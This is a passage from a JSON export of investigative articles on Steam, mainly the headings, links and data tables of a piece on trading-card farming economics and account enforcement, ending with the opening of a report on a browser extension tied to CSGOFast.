next: how the Market itself is priced → · the price ladder and the listing cap → · the items Steam will not carry →",
        "headings": [
          {
            "level": 1,
            "text": "The Card Economy — Wholesaling, Drop Limits & Automated Farming",
            "anchor": "pd-card_economy--heading-1",
            "source_url": "https://phishdestroy.io/steam_dossier/card_economy"
          },
          {
            "level": 2,
            "text": "What a farm actually is, step by step",
            "anchor": "pd-card_economy--heading-2",
            "source_url": "https://phishdestroy.io/steam_dossier/card_economy#process"
          },
          {
            "level": 3,
            "text": "Buy in",
            "anchor": "pd-card_economy--heading-3",
            "source_url": "https://phishdestroy.io/steam_dossier/card_economy#process"
          },
          {
            "level": 3,
            "text": "Buy games",
            "anchor": "pd-card_economy--heading-4",
            "source_url": "https://phishdestroy.io/steam_dossier/card_economy#process"
          },
          {
            "level": 3,
            "text": "Idle",
            "anchor": "pd-card_economy--heading-5",
            "source_url": "https://phishdestroy.io/steam_dossier/card_economy#process"
          },
          {
            "level": 3,
            "text": "Drops run out",
            "anchor": "pd-card_economy--heading-6",
            "source_url": "https://phishdestroy.io/steam_dossier/card_economy#process"
          },
          {
            "level": 3,
            "text": "Cash out",
            "anchor": "pd-card_economy--heading-7",
            "source_url": "https://phishdestroy.io/steam_dossier/card_economy#process"
          },
          {
            "level": 2,
            "text": "Before a farm earns a cent, it has already paid Valve",
            "anchor": "pd-card_economy--heading-8",
            "source_url": "https://phishdestroy.io/steam_dossier/card_economy#scale"
          },
          {
            "level": 3,
            "text": "How large the thing being bought actually is",
            "anchor": "pd-card_economy--heading-9",
            "source_url": "https://phishdestroy.io/steam_dossier/card_economy#scale"
          },
          {
            "level": 3,
            "text": "How big a set is",
            "anchor": "pd-card_economy--heading-10",
            "source_url": "https://phishdestroy.io/steam_dossier/card_economy#scale"
          },
          {
            "level": 3,
            "text": "What the licence costs",
            "anchor": "pd-card_economy--heading-11",
            "source_url": "https://phishdestroy.io/steam_dossier/card_economy#scale"
          },
          {
            "level": 3,
            "text": "What the finished set returns",
            "anchor": "pd-card_economy--heading-12",
            "source_url": "https://phishdestroy.io/steam_dossier/card_economy#scale"
          },
          {
            "level": 3,
            "text": "Where the 694,673 sets are sitting",
            "anchor": "pd-card_economy--heading-13",
            "source_url": "https://phishdestroy.io/steam_dossier/card_economy#scale"
          },
          {
            "level": 3,
            "text": "What this floor does and does not say",
            "anchor": "pd-card_economy--heading-14",
            "source_url": "https://phishdestroy.io/steam_dossier/card_economy#scale"
          },
          {
            "level": 3,
            "text": "And farming does not pay for itself at Valve's prices",
            "anchor": "pd-card_economy--heading-15",
            "source_url": "https://phishdestroy.io/steam_dossier/card_economy#scale"
          },
          {
            "level": 3,
            "text": "What the farm actually props up",
            "anchor": "pd-card_economy--heading-16",
            "source_url": "https://phishdestroy.io/steam_dossier/card_economy#scale"
          },
          {
            "level": 4,
            "text": "Game sales",
            "anchor": "pd-card_economy--heading-17",
            "source_url": "https://phishdestroy.io/steam_dossier/card_economy#scale"
          },
          {
            "level": 4,
            "text": "\"Online\" & playtime",
            "anchor": "pd-card_economy--heading-18",
            "source_url": "https://phishdestroy.io/steam_dossier/card_economy#scale"
          },
          {
            "level": 4,
            "text": "Registrations",
            "anchor": "pd-card_economy--heading-19",
            "source_url": "https://phishdestroy.io/steam_dossier/card_economy#scale"
          },
          {
            "level": 4,
            "text": "Wallet money & fees",
            "anchor": "pd-card_economy--heading-20",
            "source_url": "https://phishdestroy.io/steam_dossier/card_economy#scale"
          },
          {
            "level": 4,
            "text": "Steam-level PR",
            "anchor": "pd-card_economy--heading-21",
            "source_url": "https://phishdestroy.io/steam_dossier/card_economy#scale"
          },
          {
            "level": 3,
            "text": "And the cash-out itself is a value sink Valve taxes twice",
            "anchor": "pd-card_economy--heading-22",
            "source_url": "https://phishdestroy.io/steam_dossier/card_economy#scale"
          },
          {
            "level": 3,
            "text": "This is not a moment. It is an industry with a multi-year backbone.",
            "anchor": "pd-card_economy--heading-23",
            "source_url": "https://phishdestroy.io/steam_dossier/card_economy#scale"
          },
          {
            "level": 3,
            "text": "Complete card sets held in the public bot directory, by Steam sale",
            "anchor": "pd-card_economy--heading-24",
            "source_url": "https://phishdestroy.io/steam_dossier/card_economy#scale"
          },
          {
            "level": 3,
            "text": "What one sale's badge ladder looks like from the top",
            "anchor": "pd-card_economy--heading-25",
            "source_url": "https://phishdestroy.io/steam_dossier/card_economy#scale"
          },
          {
            "level": 3,
            "text": "And the same fleet is there when no sale is running",
            "anchor": "pd-card_economy--heading-26",
            "source_url": "https://phishdestroy.io/steam_dossier/card_economy#scale"
          },
          {
            "level": 3,
            "text": "The resting directory, bot by bot",
            "anchor": "pd-card_economy--heading-27",
            "source_url": "https://phishdestroy.io/steam_dossier/card_economy#scale"
          },
          {
            "level": 2,
            "text": "The other product is the number next to your name",
            "anchor": "pd-card_economy--heading-28",
            "source_url": "https://phishdestroy.io/steam_dossier/card_economy#ladder"
          },
          {
            "level": 3,
            "text": "Complete sets consumed, level 1 to 1,000",
            "anchor": "pd-card_economy--heading-29",
            "source_url": "https://phishdestroy.io/steam_dossier/card_economy#lvlcalc"
          },
          {
            "level": 3,
            "text": "How the curve was checked, because Valve does not publish it",
            "anchor": "pd-card_economy--heading-30",
            "source_url": "https://phishdestroy.io/steam_dossier/card_economy#ladder"
          },
          {
            "level": 2,
            "text": "The clause does not describe farming vaguely. It lists it.",
            "anchor": "pd-card_economy--heading-31",
            "source_url": "https://phishdestroy.io/steam_dossier/card_economy#statistics"
          },
          {
            "level": 3,
            "text": "\"…playtime\"",
            "anchor": "pd-card_economy--heading-32",
            "source_url": "https://phishdestroy.io/steam_dossier/card_economy#statistics"
          },
          {
            "level": 3,
            "text": "\"…without genuine user input\"",
            "anchor": "pd-card_economy--heading-33",
            "source_url": "https://phishdestroy.io/steam_dossier/card_economy#statistics"
          },
          {
            "level": 2,
            "text": "Every exit from a farmed card is an exit the licence forbids — and Valve charges a fee at the door",
            "anchor": "pd-card_economy--heading-34",
            "source_url": "https://phishdestroy.io/steam_dossier/card_economy#licence"
          },
          {
            "level": 3,
            "text": "§ 2.A — the licence",
            "anchor": "pd-card_economy--heading-35",
            "source_url": "https://phishdestroy.io/steam_dossier/card_economy#licence"
          },
          {
            "level": 3,
            "text": "§ 2.G — the restriction",
            "anchor": "pd-card_economy--heading-36",
            "source_url": "https://phishdestroy.io/steam_dossier/card_economy#licence"
          },
          {
            "level": 3,
            "text": "§ 3.D — the fee",
            "anchor": "pd-card_economy--heading-37",
            "source_url": "https://phishdestroy.io/steam_dossier/card_economy#licence"
          },
          {
            "level": 3,
            "text": "Read the three together and the position closes",
            "anchor": "pd-card_economy--heading-38",
            "source_url": "https://phishdestroy.io/steam_dossier/card_economy#licence"
          },
          {
            "level": 3,
            "text": "The fee at that door is not 15%. On a farmed card it reaches two-thirds.",
            "anchor": "pd-card_economy--fee-ladder",
            "source_url": "https://phishdestroy.io/steam_dossier/card_economy#fee-ladder"
          },
          {
            "level": 3,
            "text": "Effective fee on a Community Market sale, by the seller's asking price",
            "anchor": "pd-card_economy--heading-40",
            "source_url": "https://phishdestroy.io/steam_dossier/card_economy#licence"
          },
          {
            "level": 2,
            "text": "No notice, in waves, and it travels down the phone number",
            "anchor": "pd-card_economy--heading-41",
            "source_url": "https://phishdestroy.io/steam_dossier/card_economy#enforcement"
          },
          {
            "level": 3,
            "text": "Case 4 — June 2025, VAC bans on idled CS2",
            "anchor": "pd-card_economy--heading-42",
            "source_url": "https://phishdestroy.io/steam_dossier/card_economy#enforcement"
          },
          {
            "level": 3,
            "text": "How a main account dies",
            "anchor": "pd-card_economy--heading-43",
            "source_url": "https://phishdestroy.io/steam_dossier/card_economy#enforcement"
          },
          {
            "level": 3,
            "text": "The same paragraph, five years apart, from three different agents",
            "anchor": "pd-card_economy--heading-44",
            "source_url": "https://phishdestroy.io/steam_dossier/card_economy#enforcement"
          },
          {
            "level": 3,
            "text": "Note on sourcing — operator-scale losses",
            "anchor": "pd-card_economy--heading-45",
            "source_url": "https://phishdestroy.io/steam_dossier/card_economy#canvass"
          },
          {
            "level": 2,
            "text": "Both sides of the same desk",
            "anchor": "pd-card_economy--heading-46",
            "source_url": "https://phishdestroy.io/steam_dossier/card_economy#asymmetry"
          },
          {
            "level": 3,
            "text": "A customer, for trading",
            "anchor": "pd-card_economy--heading-47",
            "source_url": "https://phishdestroy.io/steam_dossier/card_economy#asymmetry"
          },
          {
            "level": 3,
            "text": "An automated bot fleet, for volume",
            "anchor": "pd-card_economy--heading-48",
            "source_url": "https://phishdestroy.io/steam_dossier/card_economy#asymmetry"
          },
          {
            "level": 3,
            "text": "The question this leaves, put plainly",
            "anchor": "pd-card_economy--heading-49",
            "source_url": "https://phishdestroy.io/steam_dossier/card_economy#asymmetry"
          },
          {
            "level": 2,
            "text": "Who moderates the card economy",
            "anchor": "pd-card_economy--heading-50",
            "source_url": "https://phishdestroy.io/steam_dossier/card_economy#governance"
          },
          {
            "level": 3,
            "text": "A Valve employee moderates the largest card-trading group Valve employee",
            "anchor": "pd-card_economy--heading-51",
            "source_url": "https://phishdestroy.io/steam_dossier/card_economy#governance"
          },
          {
            "level": 3,
            "text": "The ban-list layer, and who administers it Volunteer moderator Third-party service",
            "anchor": "pd-card_economy--heading-52",
            "source_url": "https://phishdestroy.io/steam_dossier/card_economy#governance"
          },
          {
            "level": 3,
            "text": "What this adds up to, and what it does not",
            "anchor": "pd-card_economy--heading-53",
            "source_url": "https://phishdestroy.io/steam_dossier/card_economy#governance"
          },
          {
            "level": 3,
            "text": "Nobody counts. That is the finding.",
            "anchor": "pd-card_economy--heading-54",
            "source_url": "https://phishdestroy.io/steam_dossier/card_economy#census"
          },
          {
            "level": 3,
            "text": "The 10.88M Account Census: 88.97% Untouched",
            "anchor": "pd-card_economy--heading-55",
            "source_url": "https://phishdestroy.io/steam_dossier/card_economy#governance"
          },
          {
            "level": 3,
            "text": "Forensic Evidence & Deep Census",
            "anchor": "pd-card_economy--heading-56",
            "source_url": "https://phishdestroy.io/steam_dossier/card_economy#governance"
          },
          {
            "level": 2,
            "text": "What was read, and what is not claimed",
            "anchor": "pd-card_economy--heading-57",
            "source_url": "https://phishdestroy.io/steam_dossier/card_economy#method"
          },
          {
            "level": 3,
            "text": "The four datasets, and the arithmetic on them",
            "anchor": "pd-card_economy--heading-58",
            "source_url": "https://phishdestroy.io/steam_dossier/card_economy#method"
          },
          {
            "level": 3,
            "text": "Primary sources",
            "anchor": "pd-card_economy--heading-59",
            "source_url": "https://phishdestroy.io/steam_dossier/card_economy#method"
          },
          {
            "level": 3,
            "text": "What is not claimed",
            "anchor": "pd-card_economy--heading-60",
            "source_url": "https://phishdestroy.io/steam_dossier/card_economy#method"
          },
          {
            "level": 3,
            "text": "Why the tool is not the subject",
            "anchor": "pd-card_economy--heading-61",
            "source_url": "https://phishdestroy.io/steam_dossier/card_economy#method"
          }
        ],
        "links": [
          {
            "label": "Live article",
            "url": "https://phishdestroy.io/steam_dossier/card_economy"
          },
          {
            "label": "← Back to Executive briefing",
            "url": "https://phishdestroy.io/steam_dossier/index.html#briefing-heading"
          },
          {
            "label": "Steam Support — Limited User Accounts ↗",
            "url": "https://help.steampowered.com/en/faqs/view/71D3-35C2-AD96-AA3A"
          },
          {
            "label": "ArchiSteamFarm FAQ ↗",
            "url": "https://github.com/JustArchiNET/ArchiSteamFarm/wiki/FAQ"
          },
          {
            "label": "Valve — Steam Trading Cards FAQ ↗",
            "url": "https://steamcommunity.com/tradingcards/faq/"
          },
          {
            "label": "Steam Subscriber Agreement ↗",
            "url": "https://store.steampowered.com/subscriber_agreement/"
          },
          {
            "label": "archived 2026-09-24 ↗",
            "url": "https://web.archive.org/web/20260924114457/https://store.steampowered.com/subscriber_agreement/"
          },
          {
            "label": "Valve, Steam Trading Cards FAQ ↗",
            "url": "https://steamcommunity.com/tradingcards/faq/"
          },
          {
            "label": "Valve, Steam Trading Cards FAQ ↗",
            "url": "https://steamcommunity.com/tradingcards/faq/"
          },
          {
            "label": "Summer Sale 2024 badge ladder",
            "url": "https://steamladder.com/ladder/badges/2861690/"
          },
          {
            "label": "archived 2026-07-16 ↗",
            "url": "https://web.archive.org/web/20260716205303/https://steamladder.com/ladder/badges/2861690/"
          },
          {
            "label": "farm-economy-timeline.json",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/farm-economy-timeline.json"
          },
          {
            "label": "Steam Subscriber Agreement § 4.C ↗",
            "url": "https://store.steampowered.com/subscriber_agreement/"
          },
          {
            "label": "archived 2026-09-24 ↗",
            "url": "https://web.archive.org/web/20260924114457/https://store.steampowered.com/subscriber_agreement/"
          },
          {
            "label": "Steam Charts ↗",
            "url": "https://store.steampowered.com/charts/"
          },
          {
            "label": "archived 2026-09-23 ↗",
            "url": "https://web.archive.org/web/20260923183013/https://store.steampowered.com/charts/"
          },
          {
            "label": "Steam Community Market FAQ — Fees ↗",
            "url": "https://help.steampowered.com/en/faqs/view/61F0-72B7-9A18-C70B"
          },
          {
            "label": "archived 2026-09-21 ↗",
            "url": "https://web.archive.org/web/20260921022227/https://help.steampowered.com/en/faqs/view/61F0-72B7-9A18-C70B"
          },
          {
            "label": "Steam Subscriber Agreement § 4.D ↗",
            "url": "https://store.steampowered.com/subscriber_agreement/"
          },
          {
            "label": "archived 2026-09-24 ↗",
            "url": "https://web.archive.org/web/20260924114457/https://store.steampowered.com/subscriber_agreement/"
          },
          {
            "label": "Source ↗",
            "url": "https://github.com/JustArchiNET/ArchiSteamFarm/wiki/FAQ"
          },
          {
            "label": "ArchiSteamFarm discussion #3440, opened 26 June 2025 ↗",
            "url": "https://github.com/JustArchiNET/ArchiSteamFarm/discussions/3440"
          },
          {
            "label": "@gergelyszabo94 ↗",
            "url": "https://x.com/gergelyszabo94/status/1311004678633795585"
          },
          {
            "label": "@prcs25 ↗",
            "url": "https://x.com/prcs25/status/1811893857253982720"
          },
          {
            "label": "archived 2024-07-15 ↗",
            "url": "https://web.archive.org/web/20240715122902/https://x.com/prcs25/status/1811893857253982720"
          },
          {
            "label": "r/steamsupport ↗",
            "url": "https://reddit.com/r/steamsupport/comments/1fjmgc5/what_to_do_when_your_steam_account_gets_hacked/mkelm2y/"
          },
          {
            "label": "r/csgomarketforum ↗",
            "url": "https://www.reddit.com/r/csgomarketforum/comments/r87owv/psa_my_steam_account_just_got_banned/"
          },
          {
            "label": "archived 2025-03-27 ↗",
            "url": "https://web.archive.org/web/20250327203008/https://www.reddit.com/r/csgomarketforum/comments/r87owv/psa_my_steam_account_just_got_banned/"
          },
          {
            "label": "r/GlobalOffensiveTrade ↗",
            "url": "https://www.reddit.com/r/GlobalOffensiveTrade/comments/r9xql9/d_recently_received_commercial_ban_for_what_seems/"
          },
          {
            "label": "archived 2021-12-06 ↗",
            "url": "https://web.archive.org/web/20211206034804/https://www.reddit.com/r/GlobalOffensiveTrade/comments/r9xql9/d_recently_received_commercial_ban_for_what_seems/"
          },
          {
            "label": "r/csgomarketforum ↗",
            "url": "https://www.reddit.com/r/csgomarketforum/comments/1hhxx7m/d_permanently_locked_on_steam_for_commercial_use/"
          },
          {
            "label": "archived 2025-06-27 ↗",
            "url": "https://web.archive.org/web/20250627014045/https://www.reddit.com/r/csgomarketforum/comments/1hhxx7m/d_permanently_locked_on_steam_for_commercial_use/"
          },
          {
            "label": "r/steamsupport ↗",
            "url": "https://www.reddit.com/r/steamsupport/comments/1hkctwt/permanent_ban_with_no_explanation/"
          },
          {
            "label": "r/pcgaming ↗",
            "url": "https://www.reddit.com/r/pcgaming/comments/1vf24lu/warning_to_all_gamersexpats_steam_took_my_money/"
          },
          {
            "label": "CardTrades ↗",
            "url": "https://steamcommunity.com/groups/card-trading-card-trades"
          },
          {
            "label": "afarnsworth ↗",
            "url": "https://steamcommunity.com/id/afarnsworth"
          },
          {
            "label": "Steambans.com's group (archived) ↗",
            "url": "https://web.archive.org/web/20251203104928/https://steamcommunity.com/groups/steambans"
          },
          {
            "label": "live ↗",
            "url": "https://steamcommunity.com/groups/steambans"
          },
          {
            "label": "archived 2025-12-03 ↗",
            "url": "https://web.archive.org/web/20251203104928/https://steamcommunity.com/groups/steambans"
          },
          {
            "label": "killahinstinct_ ↗",
            "url": "https://web.archive.org/web/20251203104928/https://steamcommunity.com/id/killahinstinct_"
          },
          {
            "label": "msart ↗",
            "url": "https://web.archive.org/web/20240914124859/https://steamcommunity.com/id/msart"
          },
          {
            "label": "groups roster ↗",
            "url": "https://steamcommunity.com/id/msart/groups/"
          },
          {
            "label": "Steambans group snapshot of 3 Dec 2025 ↗",
            "url": "https://web.archive.org/web/20251203104928/https://steamcommunity.com/groups/steambans"
          },
          {
            "label": "operator profile snapshot of 14 Sep 2024 ↗",
            "url": "https://web.archive.org/web/20240914124859/https://steamcommunity.com/id/msart"
          },
          {
            "label": "steamid.uk FAQ snapshot of 1 Apr 2026 ↗",
            "url": "https://web.archive.org/web/20260401154714/https://steamid.uk/faq/"
          },
          {
            "label": "Open the Full 10.88M Ban Census (Exhibit VI) →",
            "url": "https://phishdestroy.io/steam_dossier/enforcement_audit"
          },
          {
            "label": "Section 4 — The Asset ID Blackout →",
            "url": "https://phishdestroy.io/steam_dossier/#evidence-blackout"
          },
          {
            "label": "public price page ↗",
            "url": "https://www.steamcardexchange.net/index.php?badgeprices"
          },
          {
            "label": "archived 2026-08-04 ↗",
            "url": "https://web.archive.org/web/20260804200309/https://www.steamcardexchange.net/index.php?badgeprices"
          },
          {
            "label": "steam.supply/CardBots ↗",
            "url": "https://steam.supply/CardBots"
          },
          {
            "label": "steamlvlup.net/cardbots ↗",
            "url": "https://steamlvlup.net/cardbots"
          },
          {
            "label": "archived 2026-02-10 ↗",
            "url": "https://web.archive.org/web/20260210171205/https://steamlvlup.net/cardbots"
          },
          {
            "label": "SteamLvlUp",
            "url": "https://steamlvlup.net"
          },
          {
            "label": "CC BY 4.0",
            "url": "https://creativecommons.org/licenses/by/4.0/"
          },
          {
            "label": "archived 2026-09-23 ↗",
            "url": "https://web.archive.org/web/20260923221628/https://creativecommons.org/licenses/by/4.0/"
          },
          {
            "label": "Steam Subscriber Agreement ↗",
            "url": "https://store.steampowered.com/subscriber_agreement/"
          },
          {
            "label": "archived 2026-09-24 ↗",
            "url": "https://web.archive.org/web/20260924114457/https://store.steampowered.com/subscriber_agreement/"
          },
          {
            "label": "Steam Support — Limited User Accounts ↗",
            "url": "https://help.steampowered.com/en/faqs/view/71D3-35C2-AD96-AA3A"
          },
          {
            "label": "Valve — Steam Trading Cards FAQ ↗",
            "url": "https://steamcommunity.com/tradingcards/faq/"
          },
          {
            "label": "ArchiSteamFarm FAQ ↗",
            "url": "https://github.com/JustArchiNET/ArchiSteamFarm/wiki/FAQ"
          },
          {
            "label": "discussion #3440 ↗",
            "url": "https://github.com/JustArchiNET/ArchiSteamFarm/discussions/3440"
          },
          {
            "label": "steamid.uk FAQ, Internet Archive snapshot 2026-04-01 ↗",
            "url": "https://web.archive.org/web/20260401154714/https://steamid.uk/faq/"
          },
          {
            "label": "how the Market itself is priced →",
            "url": "https://phishdestroy.io/steam_dossier/market_economics"
          },
          {
            "label": "the price ladder and the listing cap →",
            "url": "https://phishdestroy.io/steam_dossier/skin_atlas"
          },
          {
            "label": "the items Steam will not carry →",
            "url": "https://phishdestroy.io/steam_dossier/elite_skins"
          }
        ],
        "tables": [
          {
            "id": "table-1",
            "caption": "",
            "rows": [
              [
                "Farm size",
                "Where the number comes from",
                "Minimum store spend to make them card-eligible"
              ],
              [
                "10 accounts",
                "The ceiling ASF recommends — \"based on internal Valve guidelines, as well as our own suggestions\"",
                "$50"
              ],
              [
                "100–200 accounts",
                "Technical ceiling in the same FAQ: \"you can run up to 100-200 bots with a single IP and a single ASF instance\"",
                "$500 – $1,000"
              ],
              [
                "120 accounts",
                "Enforcement case 3 below — permanently banned",
                "$600"
              ],
              [
                "170 accounts",
                "Enforcement case 2 below — permanently banned during the 2017 Winter Sale",
                "$850"
              ],
              [
                "1,000 accounts",
                "Enforcement case 1 below — trade banned",
                "$5,000"
              ],
              [
                "5,000 accounts unverified",
                "Operator scale reported to this investigation and not independently checked — see the note on sourcing",
                "$25,000"
              ],
              [
                "10,000 accounts unverified",
                "Operator scale reported to this investigation and not independently checked — see the note on sourcing",
                "$50,000"
              ]
            ]
          },
          {
            "id": "table-2",
            "caption": "",
            "rows": [
              [
                "Measured on 2026-09-22",
                "Value",
                "What it settles"
              ],
              [
                "Median list price, card-bearing game",
                "$9.99",
                "The licence is the expensive half of the transaction, not the card"
              ],
              [
                "Games priced at $4.99 or less",
                "3,665 (28.4%)",
                "Even the cheap tail is dearer than the set it yields"
              ],
              [
                "Cheapest card-bearing game on the store",
                "$0.99",
                "Two licences, $1.98, for a set that typically sells under $1.30"
              ],
              [
                "Games whose set sells for more than the game",
                "323 of 12,918 (2.5%)",
                "Card arbitrage against Steam's list prices exists in 1 game in 40"
              ],
              [
                "Free-to-play titles in the census",
                "795",
                "And Valve prices each of their drops at $9 of in-game spend"
              ]
            ]
          },
          {
            "id": "table-3",
            "caption": "",
            "rows": [
              [
                "Steam Level",
                "Complete sets it consumes",
                "Games you must own to craft them yourself",
                "At the cheapest set on record ($0.20)",
                "At the median set ($0.74)",
                "Scale"
              ],
              [
                "10",
                "10",
                "2",
                "$2.00",
                "$7.40",
                ""
              ],
              [
                "50",
                "150",
                "30",
                "$30.00",
                "$111.00",
                ""
              ],
              [
                "100",
                "550",
                "110",
                "$110.00",
                "$407.00",
                ""
              ],
              [
                "200",
                "2,100",
                "420",
                "$420.00",
                "$1,554.00",
                ""
              ],
              [
                "500",
                "12,750",
                "2,550",
                "$2,550.00",
                "$9,435.00",
                ""
              ],
              [
                "667",
                "22,579",
                "4,516",
                "$4,515.80",
                "$16,708.46",
                ""
              ]
            ]
          },
          {
            "id": "table-4",
            "caption": "",
            "rows": [
              [
                "Seller wants",
                "Steam 5% (min $0.01)",
                "Game 10% (min $0.01)",
                "Buyer pays",
                "Combined fee"
              ],
              [
                "$0.01",
                "$0.01",
                "$0.01",
                "$0.03",
                "66.7%"
              ],
              [
                "$0.03",
                "$0.01",
                "$0.01",
                "$0.05",
                "40.0%"
              ],
              [
                "$0.05",
                "$0.01",
                "$0.01",
                "$0.07",
                "28.6%"
              ],
              [
                "$0.08",
                "$0.01",
                "$0.01",
                "$0.10",
                "20.0%"
              ],
              [
                "$1.00",
                "$0.05",
                "$0.10",
                "$1.15",
                "13.0%"
              ]
            ]
          },
          {
            "id": "table-5",
            "caption": "",
            "rows": [
              [
                "Date",
                "What the account did",
                "What happened",
                "Source"
              ],
              [
                "04.12.2021",
                "Buying and selling on Buff — \"I've done nothing else than some buying and selling on buff aka P2P trading\"",
                "Community ban: no market, no trading, expensive inventory frozen",
                "r/csgomarketforum ↗ archived 2025-03-27 ↗"
              ],
              [
                "06.12.2021",
                "One-way P2P trades through Buff and Bitskins for loadouts and trade-ups",
                "Permanent commercial-use lock plus community lock: \"stuck in a pseudo invisible mode… My profile is also stuck on private\"",
                "r/GlobalOffensiveTrade ↗ archived 2021-12-06 ↗"
              ],
              [
                "20.12.2024",
                "Account held since 2017, thousands of hours; trades on community marketplaces for themed loadouts and trade-ups",
                "Permanent lock with community lock, no prior warning or strike; support \"say their decision is final\", replies are automated",
                "r/csgomarketforum ↗ archived 2025-06-27 ↗"
              ],
              [
                "23.12.2024",
                "Returning user adds wallet funds after a year away, over a VPN used \"only for general internet security\"",
                "Permanent community ban with no reason given at all: \"the ban is permanent and they cannot provide further information and that further tickets may be closed without response.\" 196 upvotes, 340 replies",
                "r/steamsupport ↗"
              ],
              [
                "04.08.2026",
                "Years of purchases from Iran; the writer states they never posted, never used the Market, never used the forums",
                "Community access locked until 2038 over \"sanctioned regions\"; ticket closed by an agent named Azul. The same account's refund from the same Iranian IP had been approved a year earlier. The library and the money stay with Valve.",
                "r/pcgaming ↗"
              ]
            ]
          },
          {
            "id": "table-6",
            "caption": "",
            "rows": [
              [
                "Dataset",
                "Where it came from",
                "What was computed from it"
              ],
              [
                "Card census\n13,876 games",
                "Steam Card Exchange's published badge pricelist, the same feed that renders their public price page ↗ archived 2026-08-04 ↗",
                "Games issuing cards, cards per set, distinct card types, and the market price of each finished set. Medians and the $23,586.57 total are this investigation's arithmetic."
              ],
              [
                "Game prices\n13,713 resolved",
                "Valve's own public store endpoint, store.steampowered.com/api/appdetails, cc=us, price field only, in batches",
                "Median and distribution of the list price of a card-bearing game; the count of games whose finished set outsells the game itself."
              ],
              [
                "Bot stock\n91 bots, 694,673 sets",
                "The public card-bot directory at steam.supply/CardBots ↗, read as rendered, no login",
                "Total sets in stock, the minimum card count, the drop-allowance floor, and the per-bot pigeonhole floor on distinct accounts."
              ],
              [
                "Cross-check\n21 shared bots",
                "steamlvlup.net/cardbots ↗ archived 2026-02-10 ↗, an independent directory of the same bots",
                "Verification only. On the 21 bots both list, aggregate stock agrees to 0.03%; the largest single-bot disagreement is 1.36%, consistent with two crawls of live inventory minutes apart."
              ]
            ]
          }
        ],
        "cited_source_ids": []
      },
      "resources": [
        {
          "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/farm-economy-timeline.json",
          "sha256": "92df95407bb06add500ae0f117bcf311d3c382249ee0bc156b8cc761eea4c110",
          "bytes": 1038
        }
      ]
    },
    {
      "schema": "phishdestroy.reading-edition.v2",
      "schema_url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/article.schema.json",
      "object_type": "Dated article reading edition with PDF digest",
      "id": "csgofast-sih",
      "language": "en",
      "title": "A casino’s business. Inside Steam. — The Steam Dossier",
      "author": "Agent Nora",
      "source_url": "https://phishdestroy.io/steam_dossier/csgofast-sih",
      "source_file": "steam_dossier/csgofast-sih.html",
      "source_html_sha256": "0db780013f05b182ee286c2698a458bfbf90eb9a6a329f55393e6c9c6d5d4141",
      "exported_at": "2026-10-18T11:58:30.589Z",
      "edition_date": "2026-10-18",
      "scope": {
        "text": "Authored discussion and analytical tables from the current source HTML. Interactive controls and navigation are omitted; interactive datasets remain linked.",
        "omissions": [],
        "evidence_status": "The signature authenticates this publication, not the truth or authenticity of third-party evidence."
      },
      "pdf": {
        "filename": "csgofast-sih.pdf",
        "url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/csgofast-sih.pdf",
        "sha256": "0c6873afcabbef4804c119f3354fd3cfe42e2a9263373367c9e00344534f278b",
        "bytes": 3013719,
        "pages": 58
      },
      "integrity": {
        "signed_object": "csgofast-sih.content.json",
        "signature_url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/csgofast-sih.content.json.asc",
        "checksum_url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/csgofast-sih.content.json.sha256",
        "format": "ASCII-armored detached OpenPGP",
        "signing_key_fingerprint": "129FC7F39C40C69D2EF3C329BFCF9E8DD295EE01",
        "public_key": "https://phishdestroy.io/.well-known/pgp-key.txt",
        "scope": "Exact UTF-8 JSON bytes, including content and the PDF SHA-256. No cryptographic PDF document signature is asserted."
      },
      "license": {
        "identifier": "CC0-1.0",
        "application": "Authored material only; third-party material retains its own rights.",
        "rights_statement_url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/license-rights.json",
        "rights_statement_sha256": "80d67354f8e5efd65b03696be950fb0f95c188d0089b1604281d0a4daff3f4cb"
      },
      "content": {
        "text": "Contents · Live article\n\nVALVE & ENFORCEMENT / THE CSGOFAST–SIH CASE\nA casino’s business. Inside Steam.\n\nIts own market. Paid Steam top-ups. Casino advertising. Steam Guard records in its cloud. CSGOFast’s extension turns Steam into its storefront — ten years after Valve’s notice.\n\nINVESTIGATION BY AGENT NORA\n\nSteam Inventory Helper inserts sales, gambling promotions and account-control tools into Valve’s interface. The CSGOFast relationship was public before the July 2016 notice: sponsorship in 2015, an ownership change in May 2016, and an integration that now reaches through the customer’s browser and Steam session. The notice recipient’s business is embedded in the platform that said it had acted. [P03] [P20–23] [SC17–23]\n\nSee the casino banners and storefront ↓Read Valve’s 2016 claim ↗\nPUBLIC DISTRIBUTION / SIH1,000,000\n\nUsers displayed by the Chrome Web Store in the retained listing. Active controller clients are a separate operational metric held by SIH. [P07]\n\nPROVIDED AUDIT\n2.11.12Retained in full, with a revision record\nNEW PACKAGE CHECK\n2.12.1Signed Google-distributed CRX\nSTORE SNAPSHOT\n17.9K ratings · 4.5 · 2.12.1Updated 10 October 2026 — the same day the audited 2.12.1 was distributed by Google’s update service. Reviewed 11 October 2026 UTC. [P07] [P12]\nCODE RECORD\n33 locationsOriginal-file hashes and byte offsets\n01 / THE INTERFACEMarket. Games. Top-ups. Casino.The outside business is built into Steam’s own pages.02 / THE ACCOUNTThe authenticator reaches its cloud.maFiles, Steam Guard secrets and the backup endpoint.03 / THE OPERATORNamed by Valve in 2016.The CSGOFast relationship predates the notice.\nOriginal 11 October edition · complete text →\nRead the original 11 October wording\n\nPreserved verbatim from the supplied 11 October 2026 edition. “Today” and “currently” refer to that edition; its original estimates and formulations remain available alongside the dated text above.\n\nCasino banners. Skins sold for cash over Steam’s own Market. Paid balance top-ups. Review manipulation. SIH builds its business into Valve’s interface and its account machinery into the user’s browser.\n\nSIH changes the Steam pages the user sees: casino advertising, external offers, its own market controls and paid ad removal. The supplied contest records add an incentivised review campaign to that business. CSGOFast’s interface connects users to SIH; the retained code shows how enabled clients supply account access and carry out remote work. Valve’s enforcement story must account for that operating system of commerce, not stop at a total of banned accounts. [P01] [P04] [P10]\n\nPhishDestroy’s supplied screenshots show the extension in a logged-out Steam browser interface; no Steam account was used for that observation. The code review was static; the follow-up live capture of 11 October 2026 ran the unpacked package in an isolated browser profile with a test account behind mitmproxy — its record is shown in the Live capture section and retained as evidence. No production account was used. Visible integration, executable client paths and 